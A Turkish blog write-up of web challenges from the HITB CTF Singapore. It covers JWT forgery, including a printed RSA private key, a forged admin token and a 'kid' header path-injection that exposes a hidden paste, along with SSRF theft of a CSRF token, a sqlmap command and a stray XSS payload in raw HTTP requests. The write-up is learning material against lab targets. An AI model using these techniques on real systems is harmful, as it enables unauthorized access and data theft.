Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | HITB CTF Singapore Web Writeup

Öncelikle ctf hakkında söylenecek en önemli nokta mükemmeliyetiydi. Zamanla değişen soru puanlaması, soruların kalitesi, ctf bitimine yakın writeup eklemek için buton çıkması gibi gibi onlarca ince detay vardı. Soruları çözerken gerçekten zorlandım. Öyle ki 1 günde zar zor 2 web sorusu çözebildim. 3.’yü tam bitiremedim. Diğer kategorilerdeki çözdüklerimi genel itibariyle aynı mantıkları içerdiği için paylaşmıyorum.

Pasty

Genel itibariyle site bu şekilde idi. İlk yaptığım “‘” (tırnak işareti) kullanarak giriş yapmaktı. Daha önceden bu şekilde birisi kaydolduğu için onun hesabıyla giriş yapmışım. O yorgunlukla sqli var diye sqlmap -u http://47.74.147.52:20012/ –data=”username=a&password=b” -p username –dbs –random-agent komutunu denedim ama tabii ki yok. Giriş yapınca template injection’dan xss’e kadar her yolu denedim, nafile. Olmazsa olmazımız Burp Suite ile istekleri inceledim.

Auth kısmı dikkatimi çekti ve tarayıcıda çalışan js’leri debug ederken JSON Web Token olabileceğini düşündüm.

{if(null!==this.token)return{headers:{Authorization:"Bearer "+this.token}}}}]),l(t,[{key:"configure",value:function(t){this.api=s.a.create({baseURL:t})}}

Json Web Token 3 parça halinde, (header, payload, imza) base64 encode şeklinde saklandığı için ilk işim base64 decode oldu.

Public Key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQAB
-----END PUBLIC KEY-----

Private Key

MIICWwIBAAKBgQDdlatRjRjogo3WojgGHFHYLugdUWAY9iR3fy4arWNA1KoS8kVw33cJibXr8bvwUAUparCwlvdbH6dvEOfou0/gCFQsHUfQrSDv+MuSUMAe8jzKE4qW+jK+xQU9a03GUnKHkkle+Q0pX/g6jXZ7r1/xAK5Do2kQ+X5xK9cipRgEKwIDAQABAoGAD+onAtVye4ic7VR7V50DF9bOnwRwNXrARcDhq9LWNRrRGElESYYTQ6EbatXS3MCyjjX2eMhu/aF5YhXBwkppwxg+EOmXeh+MzL7Zh284OuPbkglAaGhV9bb6/5CpuGb1esyPbYW+Ty2PC0GSZfIXkXs76jXAu9TOBvD0ybc2YlkCQQDywg2R/7t3Q2OE2+yo382CLJdrlSLVROWKwb4tb2PjhY4XAwV8d1vy0RenxTB+K5Mu57uVSTHtrMK0GAtFr833AkEA6avx20OHo61Yela/4k5kQDtjEf1N0LfI+BcWZtxsS3jDM3i1Hp0KSu5rsCPb8acJo5RO26gGVrfAsDcIXKC+bQJAZZ2XIpsitLyPpuiMOvBbzPavd4gY6Z8KWrfYzJoI/Q9FuBo6rKwl4BFoToD7WIUS+hpkagwWiz+6zLoX1dbOZwJACmH5fSSjAkLRi54PKJ8TFUeOP15h9sQzydI8zJU+upvDEKZsZc/UhT/SySDOxQ4G/523Y0sz/OZtSWcol/UMgQJALesy++GdvoIDLfJX5GBQpuFgFenRiRDabxrE9MNUZ2aPFaFp+DyAe+b4nDwuJaW2LURbr8AEZga7oQj0uYxcYw==

Tabii ki ilk yaptığım kullanıcıyı admin olarak değiştirmekti.

Son hali;

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJhZG1pbiJ9.fX8bB0nZW5FT_0bmg5pu0KReR6EYYsuZnDPWIWtxifyCqd8QAupT_xArcEPpnJjlVsOzvBNw6E1rOjVK19gLEiPX8IEmw-jClvpgt3RcxBUJiE5p9JqezDcBnTMIJEA0VMc3ZEZD3PmbV9N2i1aQS0KVpn8fbgFxNqSlU_9IfyI

Giriş yaptım ama sol menüde gizli mesajı beklerken hayal kırıklığı oldu. Şimdi olay gizli mesajı bulmakta. Yine giden istekleri kontrol ederken aşağıdaki istek dikkatimi çekti.

POST /api/paste HTTP/1.1
Host: 47.74.147.52:20012
User-Agent: "><script>alert(1)<(script> (XSS PAYLOAD KALMIŞ :) )
Accept: application/json, text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.74.147.52:20012/
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJqdXJhIn0.uPlGrDAjv8B38WLSPo8ck6v2K-wR0L0m0LCDhUqN_MJGi6pXMpwek9lMZ-Z8UIHlTHA2qFGbLShstmeIlLoqHdCX_bSFV3I8JdhhiRrhwX1qmGbvt9EqD3mSwx9-Ut-QtkJXcAjSWZdGVEe75hodRIF-O2-VVci-6SFfwMoyn1lpsXXPHYFO1ekkRg3UJO4RjN_4oDg9C2fiyBxl3dwz84_owqUZnp5x8_im0ArpNo1MgDCiLNGLb18qD4EJ72PnXvUmt7brokQVOwxjC4mc_xKhbsLBj61bjkrZZPTR1Op0aBSEhj8Hm06l8mkiQ9kQRje82oe85dSwX-EKy274dQ
Content-Length: 316
DNT: 1
Connection: close

Yazdığınız notu kaydederken ve görüntülerken giden istek bu. Gizli mesajı görüntüleyeceksek ve auth bilgisi de bu istekteyse tam aradığımız nokta burası. İsteği repeater’a gönderiyorum.

Deneme yanılmalarla token header bilgisini aşağıdaki şekilde yaptığımda gizli mesaj gelmiş oldu.

{
  "kid": "api/paste/{not-adresiniz}&",
  "typ": "JWT",
  "alg": "RS256"
}

Bu saatten sonra benim aklım hinliğe cinliğe çalıştığı için aşağıdaki gibi bir istek gönderdim.

POST /api/paste HTTP/1.1
Host: 47.74.147.52:20012
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.74.147.52:20012/
Content-Type: application/json;charset=utf-8
Authorization: Bearer eyJraWQiOiJhcGkvcGFzdGUvMzA4NzYxZTctNDE0Ny00ODY4LWI5N2QtMzA5ZDBjOTQ3ODVjP3JhdyYiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.xRscec3NjrrmA8KuvDNo30utU0d5sNxcdtNJmbQOvB4y_Ui9er0rPdiZzpfaldZvWoFiOa3HTslR4RUDYjr_MJdix9WGeClwb8F_zbE_VSwOT3vMAllN7AzhjhfSU_mPJrcHAN9XkM_90I-DTns4M1k_doDPdXRaMRV55c2KhEM
Content-Length: 113
DNT: 1
Connection: close

{"title":"Pasty McPasteface","id":"27bd4411-6433-4503-a76b-1ba5c28764ac","content":"nahsanaflag","private":false}

Normalde gizli olan belgeyi görünür hale getirdim.

Böyle bir ctf ekibi bunu nasıl düşünmemiş ona da hayret. Benden sonra flag arayanlar kusura bakmasın 🙂

Website

Twit üstünde pentester olan arkadaşları bu soruda görmek isterdim.

Klasik bir panele kayıt olup giriş yapınca bu şekilde bir ekran karşıladı. Personel web sitesine bağlantı sağlıyordu. Haliyle ilk akla gelen SSRF.

Önce 80 portuna istek yaptırdım ama DigitalOcean botları sağolsun bıktırdılar, 91 portuna çektim istekleri. Yanlışıkla tcpdump port 80 yerine tcpdump yazınca lanet olsun o ssh’a saldıran botlara 🙂

91 portuna normal bir istek yaptırdım ve get flag dedim, admin değilsin demekle kalmadı az önce benim yaptığım gibi “nahsanaflag” dedi 🙂

Gelen istek;

Paket içeriğine bakmadım, belki detay bulundurabilirdi.

Şimdi yapılan istekleri inceleyelim.

POST /loged.php HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

website=ttp%3A%2F%2F104.131.78.152%3A91&csrftoken=110018b7fcd9f4a5324b2a7833cfc590
GET /action.php?callback=getInfo HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close

GET /getflag.php?csrftoken=77cadb0a165dee9f1023ba056c63ccd5 HTTP/1.1
Host: 47.88.218.105:20010
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://47.88.218.105:20010/loged.php
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=g3ug2053sm4jl84je2u2h7b0o5; username=PwqgZt9x%2FYQsLvgpdqTjow%3D%3D
DNT: 1
Connection: close

Tahmin de ettiğiniz üzere flag bilgisini çekerken token üzerinden doğrulama yapmakta.

Şimdi akılda bir soru var o doğru token nasıl elde edilecek?

Cevap action.php’de. Buradaki zafiyetli makinanın çözümünde kullandığıma benzer bir yöntem kullandım. SSRF mantığı aslında budur. Siz istek yaptırırsınız ve doğrulama bilgisini alırsınız. Bu bir csrf token olabilir, 2fa yöntemlerinde kullanılan bilgiler olabilir, listeyi uzatmak elbet tabii mümkün.

Saatler sonunda http://47.88.218.105:20010/getflag.php?csrftoken= isteğini yapacak kodu halledince base64 olarak aldım.

BLOG

Kaynak koda bakalım.

<script>
  var authors = [];
  var blogs = {};

  query = function(q, callback)
  {
    var req = new XMLHttpRequest();
    req.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
         callback.apply(req);
      }
    };
  req.open("POST", "/api", true);
  req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  req.send('query=' + q);
};

  get_all_authors = function()
  {
    var q = "{  allAuthors{ edges { node { id name }}} }";
    query(q, function(){
      var response = JSON.parse(this.responseText);
      authors = [];
      var nodes = response["data"]["allAuthors"]["edges"];
      for (i=0; i < nodes.length; i++)
      {
        authors.push(nodes[i]["node"]);
      }
      rebuild_authors();
    });
  };

  rebuild_authors = function()
  {
    var html = "<ul>\n";
    for (i=0; i < authors.length; i++)
    {
      html += ( "<li><a onclick='get_author_blogs(\"" + authors[i]["id"] + "\")'>" + authors[i]["name"] + "</a></li>\n" );
    }
    html += "<li><a onclick='get_all_blogs()'>All authors</a></li>\n";
    html += "</ul";
    document.getElementById("authorlist").innerHTML = html;
  };

  get_all_blogs = function()
  {
    var q = "{  allItems{ edges { node { id title }}} }";
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blogs = [];
      var nodes = response["data"]["allItems"]["edges"];
      for (i=0; i < nodes.length; i++)
      {
        blogs.push( nodes[i]["node"]);
      }
      rebuild_blogs();
    });
  };

  get_author_blogs = function(author)
  {
    var q = '{  itemsForAuthor(id:"' + author + '") { id title } }';
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blogs = response["data"]["itemsForAuthor"];
      rebuild_blogs();
    });
  };

  rebuild_blogs = function()
  {
    var html = "<ul>\n";
    for (i=0; i < blogs.length; i++)
    {
      html += ( "<li><a onclick='load_blog(\"" + blogs[i]["id"] + "\")'>" + blogs[i]["title"] + "</a></li>\n" );
    }
    html += "</ul";
    document.getElementById("bloglist").innerHTML = html;
  };

  load_blog = function(blog)
  {
    var q = '{  item(id:"' + blog + '") { title content} }';
    query(q, function(){
      var response = JSON.parse(this.responseText);
      blog = response["data"]["item"];
      document.getElementById("blog_title").innerText = blog["title"];
      document.getElementById("blog_content").innerHTML = blog["content"];
      height = document.getElementById("blog_content").clientHeight
      console.log("height " + height)
      document.getElementById('container').style.height = (height + 200) + "px"
    });
  };
  </script>

Bu kodları inceleyene kadar GraphQL hakkında en ufak bilgim yoktu. http://47.74.147.34:20011/api?query={ item(id:”‘ + blog + ‘”) { title content} } ile örnek bir sorgu yaptım. Araştırmaya başlayınca NoSQL injection olabileceğini farkettim. Ama GraphQL için nasıl uyarlanır hala bilmiyorum (geliştirici olmadan bu işlerin olmayacağına örnek). Mantığın oturması adına güzel yazılar var.

Çözemediğim ama yakında çözeceğim soru 🙂

 

About Berk İMRAN

Cyber security researcher

Follow Me